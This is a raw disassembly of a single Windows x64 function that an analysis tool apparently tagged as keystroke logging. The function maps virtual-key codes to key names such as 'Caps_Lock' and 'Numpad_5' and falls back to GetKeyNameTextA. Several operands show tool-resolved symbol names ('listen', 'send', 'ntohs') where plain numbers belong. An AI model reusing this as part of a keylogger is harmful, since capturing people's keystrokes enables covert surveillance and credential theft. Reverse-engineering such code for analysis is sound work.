Function at 0x14005a280
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x130
xor edi, edi
lea eax, [rdx - 1]
mov r9d, edx
mov rbx, rcx
cmp eax, 0xfd
ja case.0x14005a2be.3
lea rdx, [0x140000000]
cdqe
movzx eax, byte [rdx + rax + 0x5b570]
mov ecx, dword [rdx + rax*4 + 0x5b304]
add rcx, rdx
jmp rcx
xorps xmm0, xmm0
lea rdx, str.Left_Mouse
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0xa
mov r8d, 0xa
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
lea rdx, str.Right_Mouse
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Middle_Mouse
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
xorps xmm0, xmm0
movabs rax, 0x6573756f4d203158
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 8
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbx], rax
jmp 0x14005b2ed
xorps xmm0, xmm0
movabs rax, 0x6573756f4d203258
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 8
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbx], rax
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, str.Backspace
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 9
mov r8d, 9
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, [0x1400e04e4]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov r8d, 3
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, str.Clear
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 5
mov r8d, 5
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, str.Enter
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 5
mov r8d, 5
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, str.Shift
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 5
mov r8d, 5
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 4
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov dword [rbx], 0x6c727443
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, [0x140127778]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov r8d, 3
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, str.Pause
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 5
mov r8d, 5
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, str.Caps_Lock
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 9
mov r8d, 9
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, str.Escape
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 6
mov r8d, 6
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, str.Space
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 5
mov r8d, 5
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, str.Page_Up
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 7
mov r8d, 7
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, str.Page_Down
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 9
mov r8d, 9
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, [0x1400e1994]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov r8d, 3
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 4
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [str.Home]
mov dword [rbx], eax
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, str.Left_Arrow
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0xa
mov r8d, 0xa
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
movabs rax, 0x776f727241207055
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 8
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbx], rax
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, str.Right_Arrow
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], listen
mov r8d, listen
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, str.Down_Arrow
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0xa
mov r8d, 0xa
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, str.Select
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 6
mov r8d, 6
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, str.Print
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 5
mov r8d, 5
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, str.Execute
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 7
mov r8d, 7
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, str.Print_Screen
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], send
mov r8d, listen
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, str.Insert
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 6
mov r8d, 6
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
lea rdx, str.Delete
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 6
mov r8d, 6
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
call sub.VCRUNTIME140.dll_memmove
jmp 0x14005b2ed
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 4
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov dword [rbx], 0x706c6548
jmp 0x14005b2ed
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 1
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
movzx eax, byte [0x1400e1a4c]
mov byte [rbx], al
jmp 0x14005b2ed
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 1
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
movzx eax, byte [0x1400e1a50]
mov byte [rbx], al
jmp 0x14005b2ed
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 1
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_50]
mov byte [rbx], al
jmp 0x14005b2ed
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 1
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
movzx eax, byte [0x1400e1a58]
mov byte [rbx], al
jmp 0x14005b2ed
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 1
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
movzx eax, byte [0x1400e1a5c]
mov byte [rbx], al
jmp 0x14005b2ed
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 1
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
movzx eax, byte [0x1400e1a60]
mov byte [rbx], al
jmp 0x14005b2ed
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 1
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
movzx eax, byte [0x1400e1a64]
mov byte [rbx], al
jmp 0x14005b2ed
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 1
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
movzx eax, byte [0x1400e1a68]
mov byte [rbx], al
jmp 0x14005b2ed
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 1
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
movzx eax, byte [0x1400e1a6c]
mov byte [rbx], al
jmp 0x14005b2ed
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 1
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbx], al
jmp 0x14005b2ed
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 1
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
movzx eax, byte [0x1400e1a74]
mov byte [rbx], al
jmp 0x14005b2ed
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 1
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
movzx eax, byte [0x1400e1a78]
mov byte [rbx], al
jmp 0x14005b2ed
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 1
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
movzx eax, byte [0x1400e1a7c]
mov byte [rbx], al
jmp 0x14005b2ed
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 1
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
movzx eax, byte [0x1400e1a80]
mov byte [rbx], al
jmp 0x14005b2ed
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 1
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
movzx eax, byte [0x1400e1a84]
mov byte [rbx], al
jmp 0x14005b2ed
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 1
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
movzx eax, byte [0x1400e1a88]
mov byte [rbx], al
jmp 0x14005b2ed
lea rdx, [0x1400e1a8c]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1a90]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1a94]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1a98]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1a9c]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1aa0]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1aa4]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1aa8]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1aac]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1ab0]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1ab4]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1ab8]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1abc]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1ac0]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1ac4]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1ac8]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1acc]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1ad0]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1ad4]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1ad8]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Left_Windows_Key
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Right_Windows_Key
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Apps_Key
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x14012783c]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Numpad_0
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Numpad_1
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Numpad_2
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Numpad_3
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Numpad_4
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Numpad_5
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Numpad_6
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Numpad_7
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Numpad_8
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Numpad_9
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Multiply
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1401278f4]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Separator
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Subtract
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Decimal
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Divide
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1adc]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1ae0]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1ae4]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1ae8]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1aec]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1af0]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1af4]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1af8]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1afc]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1b00]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1b04]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1400e1b08]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x140127918]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x14012791c]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x140127920]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x140127924]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x140127928]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x14012792c]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x140127930]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x140127934]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x140127938]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x14012793c]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x140127940]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x140127944]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Num_Lock
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Scroll_Lock
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x140127964]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x140127968]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x14012796c]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x1401255bc]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x140127970]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x140127974]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x140127978]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x14012797c]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x140127980]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x140127984]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x140127988]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.OEM_8
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x140127994]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.OEM_102
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.ICO_HELP
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.ICO_00
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.PROCESSKEY
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.ICO_CLEAR
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.PACKET
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.OEM_RESET
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.OEM_JUMP
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.OEM_PA1
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.OEM_PA2
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.OEM_PA3
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.OEM_WSCTRL
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.OEM_CUSEL
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.OEM_ATTN
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.OEM_FINISH
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.OEM_COPY
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.OEM_AUTO
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.OEM_ENLW
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.OEM_BACKTAB
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Attn
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.CrSel
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.ExSel
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Erase_EOF
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Play
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Zoom
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.Noname
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, [0x140127ad4]
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
lea rdx, str.OEM_CLEAR
mov rcx, rbx
call fcn.140022080
jmp 0x14005b2ed
shl r9d, 0x10
lea rdx, [rsp + 0x30]
mov ecx, r9d
mov r8d, 0x100
call qword [sym.imp.USER32.dll_GetKeyNameTextA]
xorps xmm0, xmm0
lea rax, [rsp + 0x30]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov r8, 0xffffffffffffffff
mov qword [rbx + 0x18], rdi
inc r8
cmp byte [rax + r8], dil
jne 0x14005b2d7
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.140022410
mov rax, rbx
mov rbx, qword [rsp + 0x140]
add rsp, 0x130
pop rdi
ret